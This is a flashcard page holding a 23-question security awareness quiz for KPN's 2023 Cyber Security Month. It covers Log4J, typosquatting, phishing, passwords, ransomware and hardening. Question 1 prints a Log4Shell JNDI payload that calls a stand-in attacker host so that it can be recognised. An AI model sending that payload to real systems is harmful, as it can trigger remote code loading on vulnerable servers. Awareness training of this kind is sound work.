stud
bud
Sign up
Log in
Home
Library
Explore
SAT
More
KPN Cyber Security Month quiz 2023 (with ALERT online) Flashcards | StudBud
Explore
/
KPN Cyber Security Month quiz 2023 (with ALERT online)
KPN Cyber Security Month quiz 2023 (with ALERT online)
23 terms
·
StudBud Administration
·
32 plays
KPN Cyber Security Month Quiz quiz 2023 EN- Pubquiz Alert Online 2023
Flashcards
23 cards
F
Practice quiz
P
Host live
L
Questions
23
Answers
1
The following command payload
${jndi:ldap://evilhost.com/exploit.class}
exploits which vulnerability?
Heartbleed
EternalBlue
ProxyShell
Log4J
2
Attackers use this technique on malicious packages (similar name) with the hope of tricking users into installing them:
Highly Evasive Adaptive Threat attack (HEAT)
server side request forgery (SSRF)
cross site request forgery (CSRF)
Typosquatting
3
What can you say about this
phishing method
?
D. 2FA does not provide security once you are logged in (in this case)
C. Permission consents open the door for criminal hackers
A. It is a form of 'spear phishing' aimed at individuals
B. This is about 'consent phishing’
4
How do
Ai
-chatbots influence
social engineering
and
phishing
?
A. Criminals use AI to make convincing texts
D. To speedup the loadtime of a page
B. To execute attacks on a large scale
C. To remove online advertisements
5
Which high profile manager, known for a failed unbreakable car window demonstration, warns about
AI
-risks?
C. Elon Musk
B. Ali B
D. Frits van Eerd
A. Iron Man
6
Which password is the
strongest
?
B. 123456
D. Qwerty
C. Wiikeekaof10ho?
A. LUdd6vB!
7
To prevent
social engineering
and
intimidation,
Geert does not share pictures online. What will help starting 2024?
C. The Strategic Defense Initiative, a.ka. the 'Star Wars programme'
A. Doxing will be punishable by law
D. The buying of an AI-filter
B. The EU-cybersecurity-wet Cyber Resilience Act (CRA)
8
Which form of vulnerability scanning provides the best information?
C. agent based and authorised scanning
B. authorised scanning
A. agent based scanning
D. pentest
9
Vladimir ponders using
ChatGPT
. What is your advice to him?
B. Do not share sensitive personal information with the chatbot
C. Don't put company data or source code in the chatbot
A. watch out because the use of chatGTP can make your hair more gray
D. Always verify the information you get from the chatbot
10
What is the name of the cyberattack malware used to disable Ukraine's electrical grid in december 2016?
Stuxnet
REvil
NotPetya
Industroyer
11
Your colleague has a missed call from an
unknown foreign number
. Which form of
fraud
can this be?
C. Fraudsters testing your curiosity
A. It's a form of spoofing
D. This is an alien attempt for contact
B. It is 'wangiri-fraude', calling back is expensive
12
What are valid ways to login, authenticate or unlock?
C. Unlock via biometrics, like facial recognition on iPhones
B. Authenticate with 2FA via SMS at Facebook
D. Keyless Entry via bluetooth-encryptiesleutel with a Tesla Model 3
A. Login with a drivers license or identity card at DigiD
13
what is 'quadruple extortion' in the context of ransomware?
C payment for: decryption, removing malware, not leaking data, no DOS
B pay for: decryption, not leaking data, no harassment of customers, no DOS
D demanding payment in bitcoin, ethereum, wire transfer and cash
A payment for: decryption, the ceo's lamborghini, a big TDO party, no DOS
14
Which character trait is essential for a digitale hulpverlener (DHV'er)?
C. View 2FA as not worth the trouble
A. Understand the emotional impact of cyberincidents
D. Do not panic when confronted with digital incidents
B. To use the right technical jargon for clarity
15
The
intern
from
the Marketing department
asks what to look out for when using a company laptop. You answer..
D. Regularly restart the laptop to prevent ransomware
B. Immediately install operating system~ and program updates
C. Do not go to insecure or unsecured websites
A. Do not open e-mails, links and attachments(n) from unknown senders
16
This
mail
was received by a friend. How did he
find out
that this was a fake e-mail?
C. MijnOverheid does not send messages with a link
D. MijnOverheid starts each e-mail with your firstname
B. This e-mail asks for personal information
A. This e-mail contains a lot of errors
17
What is the goal of hardening?
Removing superfluous functions on an asset
Condense the attack surface of an asset
Eleminate potential attack vectors
Enabling security featurs on assets
18
Like you were hit by lightning you are now struck with
ransomware
. What to do?
D. Take pictures of your screen of the ransomware for identification
C. Do not be embarassed, report to your cyber bhv'er / contactperson
A. File a case with the police (at KPN, contact the security helpdesk)
B. detach/remove your device from the network
19
What is a good standard to score a vulnerability?
NCSC score
CVE score
CVSS score
the maintainer can provide a score
20
facial recognition, fingerprints and irisscans are biometric authentication methodes. What do you know about this?
D. They are safe, but cannot be changed like passwords
B.Irisscans do not work on people with colored contact lenses
A. Facial recognition can be beat with a photo on some phones/scanners
C. Online fingerprint fraude can be check via a police website
21
According to nu.nl a hacker can use a vacuum cleaner to get to your computer. What does Jorge advise his colleagues?
B. Buy more smart devices
D. Trust the effect of the EU-cybersecurity-wet Cyber Resilience Act (CRA)
C. Map out / know your smart devices
A. Regularly update smart devices
22
Joe uses a password pattern for
all
websites : '
@ [ website ] 123!
'. What can be said about this?
B. No creditcard data submitted? Then the chance for damage is small
C. Use 2FA for more security
D. Use a whitespace after the first part for more unpredictability
A. Better than reusing 1 password, but risky if pattern gets discovered
23
What is the desired architecture tool for the hardening process in KPN?
D. Qualys
C. QCarbon
A. TrendMicro
B. Splunk
